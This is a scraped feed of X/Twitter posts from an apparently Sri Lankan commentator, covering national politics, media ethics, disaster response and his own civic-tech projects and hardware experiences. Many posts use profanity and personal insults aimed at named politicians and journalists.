"This is actually one module I wanted to do of a complete end-to-end case management system for the Right to Information Commission but paying-to-take-care-of-cattle era is behind me (although evidently not. QED fucko) which itself is a part of a suite called OpenLexis"
X Link 2025-11-21T05:13Z 15.8K followers, [---] engagements
". which is a whole heap of law-for-the-everyman designed for non-lawyers by a non-lawyer. That's got a bunch of things basically cleaning up laws and cases for GitHub a VSCode fork for legal drafting a draft-law rapid analysis platform (actually that part is done) and so on"
X Link 2025-11-21T05:13Z 15.8K followers, [---] engagements
"Either criminality has gone up (unlikely) or enforcement is going up (more likely). A major ticket fraud operation involving safari jeeps at the Kaudulla National Park has been uncovered leading to the arrest of several individuals and the seizure of [--] jeeps Director General of Wildlife Conservation Ranjan Amarasinghe said. The investigation revealed that https://t.co/HKMIiEgnbx A major ticket fraud operation involving safari jeeps at the Kaudulla National Park has been uncovered leading to the arrest of several individuals and the seizure of [--] jeeps Director General of Wildlife"
X Link 2025-11-21T09:34Z 15.8K followers, [----] engagements
"@kelums @tuktuksputnik @aselawaid That Huawei car for example"
X Link 2025-11-21T13:48Z 15.8K followers, [--] engagements
"Six dead in Kadugannawa landslide parents of killed LTTE separatists honoured during heroes week in the North while boats deployed to assist flood-affected A/L exam candidates. https://www.patreon.com/posts/landslide-kills-144182890utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://www.patreon.com/posts/landslide-kills-144182890utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
X Link 2025-11-22T22:53Z 15.8K followers, [---] engagements
"@CheTweetZ It's a valid question"
X Link 2025-11-23T08:33Z 15.8K followers, [--] engagements
"Sajith thinks "we'll fully pay back the money we owe if our economy does well" and sticking to it which also helps improve our credit rating and reduce borrowing rates is idiotic. Explains why he has principal unpaid carry forward personal debts of Rs 93mm for a few years now. No matter how much economic growth we achieve we will be trapped at some point because of the idiotic agreement made with the IMF by the previous government Opposition Leader Sajith Premadasa criticized the former governments agreement with the IMF particularly the adoption https://t.co/ChrAavZoay No matter how much"
X Link 2025-11-25T06:09Z 15.7K followers, [----] engagements
"Quite concerning that more than a dozen budgets from local governments (not just NPP including ITAK/Kayts) being defeated some multiple times. Shows absolute partisan bickering from everyone with little regard for actual service provision which is the main reason to have LGs"
X Link 2025-11-26T00:36Z 15.7K followers, [----] engagements
"Saw a post (can't find now) by the Prabhakaran-worshipping types about how VP was fully dedicated to the cause saying he will give his life up. What people also tend to forget was that LTTE expelled all Muslims in the northern province and killed off or absorbed competing"
X Link 2025-11-26T05:05Z 15.7K followers, 14K engagements
"Gotta admit 'playing snake' isn't a term I had ever heard before. https://www.dailymirror.lk/breaking-news/Tourism-bureau-acts-against-social-media-posts-damaging-Sri-Lankas-image/108-325744s=09 https://www.dailymirror.lk/breaking-news/Tourism-bureau-acts-against-social-media-posts-damaging-Sri-Lankas-image/108-325744s=09"
X Link 2025-11-26T05:26Z 15.7K followers, [---] engagements
"I wonder when it was that a Sri Lankan saw an ice cube for the first time"
X Link 2025-11-27T00:40Z 15.7K followers, [---] engagements
"@ArunAnnow . and I've never said otherwise Unlike (clearly) you I'm capable of seeing multiple wrongdoing by multiple parties and I have no allegiance to the Sri Lankan military. I don't know where you were going with this Whataboutism"
X Link 2025-11-27T01:23Z 15.7K followers, [----] engagements
"@kunamvahees @_BH_6582 @xcsamixvi Practical wipeout of TELO PLOTE and EPRLF was way before Indians decided to come here. Even before 13A. EROS was gulped up latter part of 1980s. Don't lie to rewrite history. Attempts on Douglas ran well into the 2000s"
X Link 2025-11-27T03:56Z 15.7K followers, [---] engagements
"@Rat_na12 My consistency is one of my best qualities. Also didn't take much for you to turn did it Out of curiosity what were the previous two handles that you changed from"
X Link 2025-11-27T04:07Z 15.7K followers, [---] engagements
"I KNOW THE FIGHT WAS AT PLAZA THAT'S THE WHOLE FUCKING POINT. If Pilawoos isn't using " Pilawoos " as their marketing material for the next six months they should just delete their account. If Pilawoos isn't using " Pilawoos " as their marketing material for the next six months they should just delete their account"
X Link 2025-11-27T23:52Z 15.7K followers, [----] engagements
"Why can't it just stop being sad and be happy"
X Link 2025-11-28T02:55Z 15.7K followers, [----] engagements
"The IT infrastructure in Sri Lanka is a shit show. I though the resilience lesson was learnt during the economic crisis - clearly fucking not. No data for about [--] hours since [----] of 28/11 on Dialog. Mobitel held on for a few hours longer and came back online. Both now down"
X Link 2025-11-30T06:24Z 15.7K followers, [----] engagements
"Sunil Watagala is a moron and can kiss my ass. There. Crack down in that you monkey. Minister of Public Security Sunil Watagala advises police to use emergency law to crack down on social media criticism. This is deeply concerning and is the exact opposite of what President promised the nation in his address. https://t.co/NJAVcmXuG4 Minister of Public Security Sunil Watagala advises police to use emergency law to crack down on social media criticism. This is deeply concerning and is the exact opposite of what President promised the nation in his address. https://t.co/NJAVcmXuG4"
X Link 2025-12-03T05:27Z 15.7K followers, [----] engagements
"Getting a bunch of corporate folks who have zero disaster-response knowledge or experience is a move of such unparalleled stupidity that it trumps Hitler's two-front war idea. Whom do you need Midwives Grama Niladharis PHIs archivists civil engineers irrigation engineers"
X Link 2025-12-03T05:29Z 15.7K followers, [----] engagements
"Sunil Watagala says they'll crack down on people badmouthing the government. So here goes: Sunil Watagala is a fucking idiot whose government finds themselves up shit creek without a paddle. He's trying to protect from criticism by threatening arrest. He can go fuck a coconut"
X Link 2025-12-03T08:31Z 15.7K followers, [----] engagements
"Also I have it on good authority that he doesn't wash NOR wipe after kakka so he's walking around with dingleberries. If I'm lying he should publicly post a picture of his bootyhole dingleberry-free. Talk about 'cracking down'"
X Link 2025-12-03T08:49Z 15.7K followers, [----] engagements
"The opposition benches yesterday when the budget for [----] was being voted on. Sri Lanka has faced an unparalleled natural disaster which will have implications for decades to come. This is a point for the opposition to show buy-in and support. But no. Utter fucking fuckwits"
X Link 2025-12-06T00:14Z 15.7K followers, [----] engagements
"How good is Google's Nano Banana [---] Very good. I put it to the test with a stock photo of a Suzuki Jimny for fun. This is what I started with an official photo from the Suzuki website. I kept most of my prompts short with no 'prompt engineering'. I varied the level of instructions. The rest of the thread will have the prompts I added and my own observations afterwards"
X Link 2025-12-08T01:09Z 15.7K followers, [----] engagements
"Major Suspect Nabbed in Zoo Pigeon Theft Sri Lankan police arrested a hotel chef and recovered [--] exotic pigeons stolen from the national zoo officials said Monday in a case that highlighted security vulnerabilities at the country's primary animal conservation facility. The Mount Lavinia Divisional Crime Investigation Unit apprehended the 24-year-old suspect a resident of the Dehiwala suburbs following a two-month probe. Police confirmed the man works as a chef at a local hotel and stated that officers are currently interrogating him regarding potential accomplices. Authorities suspect he may"
X Link 2025-12-08T07:23Z 15.7K followers, [----] engagements
"Times Gotabaya has been to the US since leaving the Presidency - [--] He gave up his US citizenship. Giving up citizenship doesn't require 'permission' from the US government. He was strongly advised against giving it up including by then US Ambo here. This is some Jigz level delulu. The man who controversially enabled @gotabayaR to run for the [----] presidency despite not being a Sri Lankan citizen Yasantha Kodagoda is sworn in as Acting Chief Justice. @anuradisanayake 's SM handles remain silent on the appointment. GRs citizenship case is still pending. https://t.co/DeyNBbzN1M The man who"
X Link 2025-12-09T02:21Z 15.7K followers, [----] engagements
"@RanjiniD He's Sri Lankan"
X Link 2025-12-09T04:01Z 15.7K followers, [---] engagements
"The average Sri Lankan liberal is in reality tools of patriarchal oppression: when the government chose a group of people based on their merit not only were their genders reduced to a binary but their genders were assumed merely because they masc-present. It's queerphobic"
X Link 2025-12-10T04:47Z 15.7K followers, [----] engagements
"@PriHett @Rishi_BM @tuktuksputnik The Platonic method of dialogue as I like to define it. Because obviously we all know Socrates wasn't real"
X Link 2025-12-10T06:18Z 15.7K followers, [--] engagements
"Please Stop: An open letter to Jamila Husain Editor in Chief of the Daily Mirror Dear Jamila It was somewhere late [----] or early [----] I crossed the corridor from Sunday Times and walked into the Daily Mirror newsroom. Then editor of the Daily Mirror Champ(ika) (Liyanarachchi) had wanted a full assurance from me that I'm coming with the approval and blessing of Anthony (David) and Sinha (Ratnatunge) because she didn't want to be told she's poaching - during my first sit down with Champika I explained how as much as I venerate the Sunday Times I wanted to get the daily-news experience. The"
X Link 2025-12-10T11:01Z 15.7K followers, 12.7K engagements
"@PasinduSenanay7 @kalindukaru That's a reflection of how the NPP doesn't want to answer real questions from people who know the ground reality. It's no laughing matter Pasindu. Tell the NPP to grow a spine"
X Link 2025-12-11T02:12Z 15.7K followers, [----] engagements
"This idea that a host/guest won/lost a political interview is a fault of us as audiences and our expectations. What the public needs are answers to question. There's an old Paxman interview where he keeps asking the same question like seven times. A winning interview is one where the host asks the right questions and the guest has correct accurate answers. History repeats in strange ways. In [----] expectations were shattered when Ashraff outplayed Soma Thero in a tightly moderated debate. Yesterday on [---] many expected Nalinda to be crushed yet he walked away unscathed. The world never moves"
X Link 2025-12-16T11:36Z 15.7K followers, [----] engagements
"a) Gemini [--] Flash is here. Yet to properly road test it. b) Xiaomi has an AI model out called MiMo which is turning out to be very very good"
X Link 2025-12-18T01:12Z 15.7K followers, [---] engagements
"@pradeeban Beth has moved from Dialog"
X Link 2025-12-18T01:25Z 15.7K followers, [---] engagements
"Sri Lanka Police is giving the Catholic Church a run for their money for this cups-and-balls where's the OIC/priest transferring out. Kuliyapitiya Crime OIC Transferred over Viral Assault Video D: https://t.co/DlPmviRQMs https://t.co/xR4vJ9gLtf Kuliyapitiya Crime OIC Transferred over Viral Assault Video D: https://t.co/DlPmviRQMs https://t.co/xR4vJ9gLtf"
X Link 2025-12-18T04:09Z 15.7K followers, [----] engagements
"'Stray' dogs in most countries outside the western world esp in developing countries are dogs cared for by the community. They may not be chipped and have owners but they are fed and in most cases also vaccinated. Sri Lanka doesn't have a 'stray dog' problem. @dinidu No modern developed country has stray dogs running around. Tourists from developed countries aren't used to seeing unattended dogs. The real issue is Sri Lanka's stray dog problem. They need to fix this ASAP @dinidu No modern developed country has stray dogs running around. Tourists from developed countries aren't used to seeing"
X Link 2025-12-19T14:55Z 15.7K followers, [----] engagements
"I do hold the view that the Executive Presidency is needed with the legislature completely removed from the executive. A US kind of system but with a single house"
X Link 2025-12-20T13:58Z 15.7K followers, [--] engagements
"I'm not going to comment on the bona fides of @Starlink entering the Sri Lankan market - but partnering with @dialoglk is one of the WORST business decisions they'd be taking considering what a bitchass company Dialog is. Hey @Gwynne_Shotwell @Starlink @elonmusk I am writing as a Sri Lankan customer and technology professional to formally express serious concern regarding reports of a potential collaboration between @Starlink and @dialoglk in Sri Lanka. Starlink has entered the Sri Lankan Hey @Gwynne_Shotwell @Starlink @elonmusk I am writing as a Sri Lankan customer and technology"
X Link 2025-12-20T15:54Z 15.7K followers, [----] engagements
"IMF approves USD [---] million in emergency cyclone recovery aid; President Dissanayake orders all relief grants paid by [--] December; Indian External Affairs Minister S. Jaishankar schedules a Colombo visit for reconstruction talks; NMRA confirms ten drug types imported from India failed quality tests; NPP MP accused of assaulting police officer; interdicted constable arrested with Rs [--] million in narcotics; major reservoirs spill as heavy rains persist; Pakistan defeats India to win the Under-19 Asia Cup; Peradeniya University faculties to reopen this month; five fishermen remain missing at"
X Link 2025-12-21T22:30Z 15.7K followers, [----] engagements
"@ShardhaSosa @murtazajaff once said that the Sri Lankan dream is to migrate to Australia. Truer words never before spoken"
X Link 2025-12-24T06:11Z 15.8K followers, [---] engagements
"@CheTweetZ Korea Georgia Panama. You can count on me for specificity"
X Link 2025-12-24T10:58Z 15.7K followers, [--] engagements
"Every day @VraieB fails to budget passed - which admittedly is a Herculean task considering we're partisan like hell - the 'central government' looks like it's losing control and breaking down. Makes AKD look like the only adult in the room so good for him. Not good for NPP"
X Link 2025-12-26T11:44Z 15.7K followers, [----] engagements
"I know very little about politics once I pass Anuradhapura (and let's be real: that too I don't know much). BUT This is analogous to CID arresting RW MR Sirisena Basil Gota and whoever else you can think of AT THE SAME TIME. This is unthinkable levels of huge. Do this right and Jaffna ain't going nowhere from the NPP in the future. Former Minister Douglas Devananda arrested by CID Read more: https://t.co/awTvIh9yPJ #lka #srilanka #adaderana #news #lanka #srilankanews #Douglas #Devananda #DouglasDevananda #epdp #Jaffna #MakandureMadush #firearm #CID #arrested #underworld"
X Link 2025-12-28T02:41Z 15.7K followers, [----] engagements
"I did a thing I'm quite proud of. I created a news curation aggregation and context-setting website - but truly truly trilingual. Language disparity between English Sinhala and Tamil is so wide that some stories never hit more than one language. http://news.dinidu.org http://news.dinidu.org"
X Link 2025-12-28T13:39Z 15.8K followers, [----] engagements
"At current affairs (once the noise and fluff has been filtered out) will be written in all three languages. To be clear not translations - but articles written based on the same set of facts. Facts from Sinhala Tamil and English documents. http://news.dinidu.org http://news.dinidu.org"
X Link 2025-12-28T13:39Z 15.7K followers, [---] engagements
"The test data that I'm using now to fix user-interface formatting and quality of life issues are article3s based on each month from December [----] - [--] articles altogether. These were fully AI written but will be deleted before soft/launching next week"
X Link 2025-12-28T13:39Z 15.7K followers, [---] engagements
"I'm used to writing desk-research articles and analysis for work so I'm applying most of that experience into creating extremely robust fact-checking and validation/verification systems"
X Link 2025-12-28T13:39Z 15.7K followers, [---] engagements
"@Natho34n Yup. Completely agree. I think the NPP is going the way of picking the low-langing fruit that's easily provable"
X Link 2025-12-29T00:41Z 15.8K followers, [--] engagements
"Hey @GeminiApp - feature suggestion for the app (browser). Maybe isntead of starting the 'pro' mode as standard why not have the 'fast' mode as the default start option and a small fadeout text bubble reminding that 'thinking' and 'pro' are also avaialble You'll save a TONNE on compute. Sometime I just open a chat to think of a synonym and it's both (needlessly) spending time and (also needlessly) going through a full on (what I can only assume) compute-intensive thinking trip. https://twitter.com/i/web/status/2006209042373623863 https://twitter.com/i/web/status/2006209042373623863"
X Link 2025-12-31T03:41Z 15.8K followers, [---] engagements
"The Nationalise-PickMe-because-it's-a-strategic-asset guy is an INVESTMENT BANKER (or Sri Lanka's version so from Daraz) - Managing Partner at Frontier Capital Partners. a) If I had money at Frontier Capital I'd pull it the fuck out like now. b) They developed a tuk-tuk-chat app using Watson (IBM's since pretty much nobody on the bleeding edge uses it) in [----]. Sri Lanka's first obviously. So they're that kind of company. He has and I quote "Over [--] years of expertise in the field of Investment Banking Corporate Finance with special emphasis on Corporate Restructuring Mergers & Acquisitions"
X Link 2025-12-31T03:54Z 15.8K followers, [----] engagements
"TO BE CLEAR: this is not about some gay-reference (I sometimes fucking hate the phrases I have to use); but the book giving the URL of an adult videochat website. Which does beg the question how did the complainant know Cos if I saw buddy.net My first thought would be 'AI'. The Ministry of Education has launched an investigation into an inappropriate web reference found in a printed Grade [--] English language module following public concern raised over the issue. The matter came to light after social activist Tilini Shalvin highlighted that a typing https://t.co/Q3MdA1UU7z The Ministry of"
X Link 2025-12-31T04:00Z 15.8K followers, [----] engagements
"The Minister's Bureau (basically private office) of the Foreign Ministry sent a formal note to all Sri Lankan Heads of Missions overseas which is understandable but gave it a priority rating of Most Urgent and expecting "strict and timely compliance". They also sent a form to fill out so the teacher knows if you did your homework. https://twitter.com/i/web/status/2006623457069642102 https://twitter.com/i/web/status/2006623457069642102"
X Link 2026-01-01T07:08Z 15.8K followers, [----] engagements
"Me putting a 1ms delay between calls to 'be nice' when scraping a wholeass website I know is running on a toaster:"
X Link 2026-01-02T05:02Z 15.8K followers, [---] engagements
"Seven years today since I quit smoking from a habit that varied from one per day to pack-a-day habitually to two-packs-a-day habitually and even more packs when out on a solid bender. I'm [--] and I easily have [--] pack-years in me. Quitting is FUCKING hard to do but try. https://twitter.com/i/web/status/2006955613822283915 https://twitter.com/i/web/status/2006955613822283915"
X Link 2026-01-02T05:08Z 15.8K followers, [----] engagements
"I put the full blame of this spat on Marc-Andre. Even I'm smart enough not to engage with Jamila anymore. But also years and possibly billions of Rupees spent on Sri Lanka's 'media development' - and this is what the UN(DP) has to show for it: Clowns running newspapers. @Jamz5251 @UN As an editor & journalist its important to do some basic homework. The @UN Security Council is different from the @UN. The SG statement can be read here condemning strongly violation international law https://t.co/PcfaKc6EGh @Jamz5251 @UN As an editor & journalist its important to do some basic homework. The @UN"
X Link 2026-01-05T08:44Z 15.8K followers, [---] engagements
"Let's be real here. Harini was made PM was because "look-we're-so-progressive-we-appointed-a-woman-as-the-PM" for the Parliamentary polls and the reason she was kept on was because replacing her with Bimal R would be so transparent. Delusional to claim merit-based-decision"
X Link 2026-01-06T02:06Z 15.8K followers, [----] engagements
"@reptiliancmplx @googlephotos "We broke up" should be a tickbox we shoud be able to click with a dropdown on how healthy or toxic the breakdown was"
X Link 2026-01-06T02:09Z 15.8K followers, [--] engagements
"I've started calculating things in Land Cruisers because it really puts into perspective wealth and refusal-to-spend from the government and the development sector. If you're outside Colombo your generally richest guy in the area has a few cars generally a Land Cruiser"
X Link 2026-01-06T08:58Z 15.8K followers, [----] engagements
"If 20% of my monthly pay was forcefully taken from me under the threat of my employer facing prison time if they let me have the full amount I should be able to take it without having to wait for some pension scheme before which I will die. This is some bullshit. Government to introduce pension for EPF holders instead of paying EPF in one pay https://t.co/LvjCXae0yc Government to introduce pension for EPF holders instead of paying EPF in one pay https://t.co/LvjCXae0yc"
X Link 2026-01-06T09:05Z 15.8K followers, [----] engagements
"Hang on (since head's been elsewhere): people think that some link made it to a text book because of a secret gay agenda and not some archaic 'curriculum' designer was dumb enough to check if the website exists OMG Echelon by @Economynext makes total sense now"
X Link 2026-01-06T09:38Z 15.8K followers, [----] engagements
"@Hanuman_Banda @NPPSLOfficial There's no 'becoming PM'. The President goes eeny meeny miny moe and pick whoever they want"
X Link 2026-01-07T13:27Z 15.8K followers, [---] engagements
"1) That the Prime Minister has to go to the head of a religious institution to explain what is basically a typo and dumb graphics shows weakness on the part of the Government. 2) NPP used to be JVP just with extra steps; they're turning out to be SJB just with extra steps. https://sinhala.adaderana.lk/news/219500 https://sinhala.adaderana.lk/news/219500"
X Link 2026-01-09T00:48Z 15.8K followers, [----] engagements
"@meshaundesilva A vast majority of Sri Lankan businesses other than the kasippu trade runs as crony-capitalist goverment puppeteers - not free-market trade experts"
X Link 2026-01-09T08:51Z 15.8K followers, [--] engagements
"Why aren't we tasking UCSC and the general IT populous of this country to do a lightweight open source trilingual CMS system @NisansaDdS @cd_gamage @dinidu @ParliamentLK @UMadhavii Sigh they could have simply paid a reputed uni [--] million to do the website. 🫣 @NisansaDdS @cd_gamage @dinidu @ParliamentLK @UMadhavii Sigh they could have simply paid a reputed uni [--] million to do the website. 🫣"
X Link 2026-01-09T17:17Z 15.8K followers, [----] engagements
"Actually. Why aren't we tasking UCSC and the general IT populous of this country to do a lightweight open source trilingual CMS system Why aren't we tasking UCSC and the general IT populous of this country to do a lightweight open source trilingual CMS system"
X Link 2026-01-09T17:20Z 15.8K followers, [---] engagements
"@sanjiva You know that the Apache is like the same age right The A380 is [--]. Manufacturing of the [---] stopped in [----]. Just for the fun of it next time you're about to board a plane just see it's age and repair history"
X Link 2026-01-09T21:23Z 15.8K followers, [---] engagements
"The Cabinet Office website in Sri Lanka was set up in [----]. However It works. It's fast as fuck since set up in [----]. Truly trilingual. And since nothing was broken nobody tried to fix it. You know the result A FUNCTIONING FUCKING WEBSITE that you can always count on"
X Link 2026-01-10T04:45Z 15.8K followers, [---] engagements
"Unless it's already happened and I've missed it having let influencers tour around a school during school hours is something that the Principal or Chief Accounting Officer should get fired for the videographer get arrested and charged for and once term served deported for"
X Link 2026-01-11T05:35Z 15.8K followers, [----] engagements
"The 'true' Sri Lankan English accent is quite beautiful. There's a tweep here whose delivery is so crisp and clear. Correcting mispronounciation is one thing (I do it all the time to friends); the fuckup comes when someone tries to display their (in reality lack of) fluency. Watched a clip of [--] popular Sri Lankan actors delivering English dialogue in a local tele-drama. The grammar and pronunciation were painfully off. The loudest champions of the Sinhala-Only movement came largely from middle and lower-income Sinhala nationalists. Generations later Watched a clip of [--] popular Sri Lankan"
X Link 2026-01-11T05:38Z 15.8K followers, [----] engagements
"Someone said 'we'll become Bali' about the rampant influencisation but what we will become is eventually 'Bali from Daraz' Unless it's already happened and I've missed it having let influencers tour around a school during school hours is something that the Principal or Chief Accounting Officer should get fired for the videographer get arrested and charged for and once term served deported for. https://t.co/2tTesH6MyQ Unless it's already happened and I've missed it having let influencers tour around a school during school hours is something that the Principal or Chief Accounting Officer should"
X Link 2026-01-11T05:44Z 15.8K followers, [----] engagements
"The eventual fall (which at this rate may; but def no to getting a majority at next parliament polls) of the NPP #LKA government can be tagged to a date: [--] December [----]. When Asoka Ranwala was challenged to show his PhD certificate by former Elections Chair Mahinda Deshapriya"
X Link 2026-01-12T05:24Z 15.8K followers, [----] engagements
"@YasiJay Oh there's no comparison needed. NPP by now has shown they're just SLPP without the racism UNP without the classism or SJB without the. without whatever makes SJB SJB"
X Link 2026-01-13T11:12Z 15.8K followers, [--] engagements
"AKD doing some excellent marketing. People see the NPP and AKD as two different entities. Glad to attend the launch of the Rebuilding Sri Lanka initiative by @anuradisanayake. Important emphasis about most vulnerable and poorest who were hit hardest by #CycloneDitwah. @UNSriLanka will stand side by side authority is & communities to support recovery & rebuilding. https://t.co/9JmtTBKiI2 Glad to attend the launch of the Rebuilding Sri Lanka initiative by @anuradisanayake. Important emphasis about most vulnerable and poorest who were hit hardest by #CycloneDitwah. @UNSriLanka will stand side by"
X Link 2026-01-13T11:15Z 15.8K followers, [----] engagements
""Oh God I wish the birds will shut up" is a very much rural Sri Lanka problem because there's like ten different types of birds within earshot trying to get laid and it's driving me nuts"
X Link 2026-01-15T03:19Z 15.8K followers, [----] engagements
"LinkedIn: You appeared in [--] searches Me:"
X Link 2026-01-15T13:37Z 15.8K followers, [----] engagements
"I wrote a 6000-word cathartic essay yesterday about ethics (or lack thereof by preachers) bribery corruption and collution for financial fraud in the Sri Lankan media industry mostly triggered by this which had been heavily nagging at me. https://x.com/dinidu/status/2008468350121443362 While helping a friend write an EoI figured RDA was going to layer at least Rs 150mn as various overpaid expenses so it won't need Cabinet Approval. If anyone is interested LK-RDA-506917-CS-INDV is the contract. I don't think he's friendly with me anymore. Funded by @WorldBank."
X Link 2026-01-17T07:19Z 15.8K followers, [----] engagements
"To be nearly verbatim @rkalansooriya's claim was its an opinion piece by me and I dont have to change anything. I urged probably even begging. This was still just hours after the man had been cremated. The pain and grief was fucking fresh. The answer remained "no""
X Link 2026-01-17T07:19Z 15.8K followers, [---] engagements
"For the need of a reminder: 'facts' are things that are objectively true - like how every single time I see @rkalansooriya I want to jump over whatever fucking table hes sitting talking about media ethics and punch him in the fucking face to a fucking pulp. That's a 'fact'"
X Link 2026-01-17T07:19Z 15.8K followers, [---] engagements
"If you can't read Sinhala translate this thread and have a read. AKD didn't mince words when he took on the racist Sinhala Buddhist nationalists with sugarcoated truthbombs - and this is some messaging (he's weak on some angles) of not-going-to-be-fucked-about-by-the-clergy. . . Anura Kumara Dissanayake ❤ ⚠ . 🟢 " " . https://t.co/yvQfjHEXrL . . Anura Kumara Dissanayake ❤ ⚠ . 🟢 " " . https://t.co/yvQfjHEXrL"
X Link 2026-01-17T07:52Z 15.8K followers, [----] engagements
"Who dafaq thought that this/a chatbot for the @sltda_srilanka website was a useful/good idea"
X Link 2026-01-19T06:29Z 15.8K followers, [----] engagements
"No they weren't. They were remanded for violating coastal conservation laws in trying to open a fruit juice outlet. Four members of the Buddhist clergy including Ven. Balangoda Kassapa Thera and five others were further remanded until January [--] by the Trincomalee Magistrate's Court. They were remanded following an incident involving the placement of a Buddha statue at the Trincomalee https://t.co/7l4YUM0KzK Four members of the Buddhist clergy including Ven. Balangoda Kassapa Thera and five others were further remanded until January [--] by the Trincomalee Magistrate's Court. They were remanded"
X Link 2026-01-20T06:57Z 15.8K followers, [----] engagements
"@NewsCurrySL Something something convergence like elephants or cobras. https://x.com/dinidu/status/1945370380002013317 BREAKING: NPP SAYS ASOKA RANWALA PHD CERTIFICATE PRINTED IN BACK OF EPSTIEN LIST AND WILL BE AVAILABLE SOON. https://x.com/dinidu/status/1945370380002013317 BREAKING: NPP SAYS ASOKA RANWALA PHD CERTIFICATE PRINTED IN BACK OF EPSTIEN LIST AND WILL BE AVAILABLE SOON"
X Link 2026-01-24T07:50Z 15.8K followers, [---] engagements
"Gota's presidency responded and respected RTI. We've now got to hold Gota's governance as the bar that the NPP and SJB don't meet about transparency. Full response from the Gota presidency-era RTI about details of the Itukama below. Pity Sri Lanka doesn't have a law that gives people the right to information one where citizens could and ask for details about how money is spent. Oh wait Almost forgot @HarshadeSilvaMP can't say the magic words because he's his boss's little bitch and his his boss is Laxman Fonseka's little bitch and boy are they not suited for governance) even in SimCity 3000"
X Link 2026-01-24T08:07Z 15.8K followers, [----] engagements
"Does anyone know anyone at Caterpillar Sri Lanka (United Tractors) Please slide into my DMs"
X Link 2025-08-06T06:25Z 15.8K followers, [---] engagements
"While helping a friend write an EoI figured RDA was going to layer at least Rs 150mn as various overpaid expenses so it won't need Cabinet Approval. If anyone is interested LK-RDA-506917-CS-INDV is the contract. I don't think he's friendly with me anymore. Funded by @WorldBank"
X Link 2026-01-06T09:19Z 15.8K followers, [----] engagements
"Fucking finally. Value for money for the citizenry includes going places fast comfortably so you can keep working. I have literally encouraged flying first class and buying himself a decent merc. On that the [---] Prado was such a bad choice. Should have gone LC300 or Lexus LX. Where's @Dr_HariniA's Hilux now LOL And before anyone comes at me saying I praised their Hiluxes - I didn't. I want my President to be in a comfortable car because I want them to be working while on the road instead of being jostled around om Kandy road. Fly First; ride a Merc. https://t.co/iuCFGyzqN4 Where's"
X Link 2026-01-22T09:27Z 15.8K followers, 11.2K engagements
"My take on the Nalanda College drama: loving how the far left doesn't know what to say. On one hand multiple adult women in positions of power but also consenting adults but also somehow toxic masculinity because boy's school but also position of power because Head Cop"
X Link 2026-01-28T04:46Z 15.8K followers, [----] engagements
"@aruwij I don't think we do left/right globally anymore in the classical sense of left/right. I consider myself a welfare libertarian which is as nuts as a Volvo with a gun rack (to steal that Robin Williams joke)"
X Link 2026-01-28T09:59Z 15.8K followers, [---] engagements
"I've started describing myself as a welfare-libertarian. My position is one of a minimal state minimal regulation flat universal income taxes no consumption/windfall/wealth taxes. Codified/earmarked really high spend for education and healthcare a direct monthly handout to the poorest 5% of the population (based on their previous year's income taxes) tariffs tiered in such a way that encourages raw material imports and discourages raw material exports zero import tariffs on anything to do with education/healthcare/food/manufacturing. https://twitter.com/i/web/status/2016453122395443619"
X Link 2026-01-28T10:07Z 15.8K followers, [----] engagements
"I'm so pissed at RW for getting others in trouble. The NPP's dumb political choice ended up showing how weak the opposition is. So they're going to go ahead with hunts. They should remember though that the next government will do the same to them. ALSO ASOKA RANWALA PHD WHERE The state informs court that charges against @RW_SRILANKA will be filed by March. In the meantime RWs secretary Saman Ekanayake was produced before the Colombo magistrate today as a suspect accused of aiding and abetting RW in using state funds for a private visit to UK. The state informs court that charges against"
X Link 2026-01-28T10:47Z 15.8K followers, [----] engagements
"A motherboard died a while back and @GIGABYTEUSA flat out refused to even talk about warranty. Flipside an Intel 12700K died two years or so back and @intel blew me away with the level of customer care. Adding @CORSAIR to the list of awesome customer care. I have multiple power supplies (don't ask why). Was cleaning out and found a @CORSAIR RM750x that had died on me. My support request to Corsair literally was "I bought an RM750x around [----]. It's now dead. I have no paperwork for it no box nothing. Just the PSU. I can't even find the original cables because I ran Cablemod sleeved cables on"
X Link 2026-01-28T10:48Z 15.8K followers, [----] engagements
"@KozmosSanju @GIGABYTEUSA @intel @CORSAIR Browns/Makita is exceptionally good service"
X Link 2026-01-29T05:02Z 15.8K followers, [--] engagements
"I fucking love DaVinci Resolve by @Blackmagic_News it's so easy to edit the UI is intuitive and all that. But look at that CPU overhead available that's not being used Left is H.265 and right is H.264. Concurrent encoding while rendering is happening and the GPU is the bottleneck (which is likely the scenario); but in that case why not 'complete' the render in one go and so both can start at the same time - unless encoding on two 'units' is a challenge. https://twitter.com/i/web/status/2016785117851922502 https://twitter.com/i/web/status/2016785117851922502"
X Link 2026-01-29T08:06Z 15.8K followers, [---] engagements
"00:37 - "Of course" - when asked "Can I hold you on record saying that the PTA will be repealed" 00:07 - "PTA Will be repealed" 00:16 - "The mandate that we seek is to repeal the PTA" There are liars there are liars and then there is Lakmali Hemachandra. Video unedited from November [----] just before Parliament polls (unlike how AKD's speech was cut in a way to make him sound like a lunatic). I believe AKD is a good man. I believe Lal Kantha and Vijitha Herath are good men. I don't believe Bimal Ratnayake is. I think though that Lakmali Hemachandra is an immoral shrewd and objectively bad"
X Link 2026-01-29T15:04Z 15.8K followers, [----] engagements
"Why is it that every time I see a Sri Lankan lawyer making an argument in a criminal case it's never about the law https://t.co/LNC62hVuUR https://t.co/LNC62hVuUR"
X Link 2026-01-29T15:05Z 15.8K followers, [----] engagements
"@ShavinWijetunge If it looks like a bubble quacks like a bubble and talk like a bubble - it's a bubble"
X Link 2026-01-30T09:08Z 15.8K followers, [--] engagements
"@DulithHerath @moltbook I'll give a week before the horror stories start. So many threat vectors"
X Link 2026-01-31T05:30Z 15.8K followers, [--] engagements
"#Logitech doesn't tell you this but the use of the G keys is actually for replacing key caps which have flown across room when tangled with headphone wire. Like and subscribe for more life hacks"
X Link 2026-01-31T09:16Z 15.8K followers, [---] engagements
"@sanjiva Sanjiva do you want to take over (as in I'll give it to you) a right to Information request generator platform I made I have a roadmap for further development but I can't afford to. It'll fit in well with the core mission of the foundation. http://rti.dinidu.org http://rti.dinidu.org"
X Link 2026-02-05T06:01Z 15.8K followers, [---] engagements
"Gemini ain't got nothin on real life"
X Link 2026-02-06T09:05Z 15.8K followers, [----] engagements
"RW London trip is about loyalty. The two staff are being punished for actions under his instruction. RW doesn't reciprocate the loyalty by taking responsibility for his own actions getting them into trouble. Asoka Ranwala has no PhD and JVP isn't doing a thing. That's loyalty"
X Link 2026-02-11T06:56Z 15.8K followers, [----] engagements
